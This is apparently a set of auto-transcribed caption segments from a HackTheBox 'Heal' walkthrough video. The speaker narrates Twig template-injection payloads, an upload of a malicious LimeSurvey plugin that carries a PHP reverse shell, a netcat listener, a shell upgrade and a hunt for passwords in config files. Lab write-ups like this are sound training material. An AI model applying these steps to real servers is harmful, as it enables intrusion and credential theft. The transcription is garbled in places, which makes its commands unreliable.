And I look it is twig. So I'm going to Google uh payload all the things. twig ssti for uh server side template injection and we can go through um these payloads right so let's see do we have twig here um let's see server side intruder php twig and we can try like running ID so if I go here I'm going to paste the twig p... | 915.6 | 0 | {
"video_id": "7KsIks7bdp8",
"title": "HackTheBox - Heal",
"url": "https://www.youtube.com/watch?v=7KsIks7bdp8"
} |
that much into it because you can also install plugins. So, let's go ahead and um search this again. Let's do lime survey uh malicious plugin on Google. And I'm going to add GitHub as well. P exploit. Let's see. I don't want to just run a Python file because I think this is just going to have like the zip all built in ... | 988.079 | 0 | {
"video_id": "7KsIks7bdp8",
"title": "HackTheBox - Heal",
"url": "https://www.youtube.com/watch?v=7KsIks7bdp8"
} |
shell. Let's see 1010432. I'm going to change this to be 10148. | 1,080.679 | 0 | {
"video_id": "7KsIks7bdp8",
"title": "HackTheBox - Heal",
"url": "https://www.youtube.com/watch?v=7KsIks7bdp8"
} |
And then we'll do port 90001. And this looks like it just sends a reverse shell. So I'm going to make a directory called I'll just call it plugin. I'm going to see if this works. | 1,087.76 | 0 | {
"video_id": "7KsIks7bdp8",
"title": "HackTheBox - Heal",
"url": "https://www.youtube.com/watch?v=7KsIks7bdp8"
} |
Um I'm not exactly sure, but we'll copy the revshell.php and the config into the plugin. And I'm going to do zip plugin.zip. Specify that. So now I have a plugin that zipped up and we have the config and PHP file and let's go over to lime survey upload and install and let's go http heel go here plugin.zip install sure ... | 1,099.679 | 0 | {
"video_id": "7KsIks7bdp8",
"title": "HackTheBox - Heal",
"url": "https://www.youtube.com/watch?v=7KsIks7bdp8"
} |
does. Uh lime survey rce.py. So admin essay authentication. So it goes upload plugins evil revshell.php. Uh let's see plugin. Did I change the port? | 1,209 | 0 | {
"video_id": "7KsIks7bdp8",
"title": "HackTheBox - Heal",
"url": "https://www.youtube.com/watch?v=7KsIks7bdp8"
} |
I did. So, nclvmpp 90001. And let's try upload plugins evil rev shell. Looks like it's hanging because we have a shell. Awesome. So, if we do a who am I? We are dubdubdubdub- data. So, I'm going to do python 3- c import pty pty spawn then bin bash. Then we can do control zty raw minus echo foreground. Enter. Enter. So ... | 1,230.559 | 0 | {
"video_id": "7KsIks7bdp8",
"title": "HackTheBox - Heal",
"url": "https://www.youtube.com/watch?v=7KsIks7bdp8"
} |
Okay. So the first thing I do when I land on a web server is try to export the config. We already got the password off the API, but maybe we can get a different password here, right? So I'm just going to do find and grep for config and oh man there is a lot. So let's do config.php. Maybe that's standard for PHP applica... | 1,271.44 | 0 | {
"video_id": "7KsIks7bdp8",
"title": "HackTheBox - Heal",
"url": "https://www.youtube.com/watch?v=7KsIks7bdp8"
} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.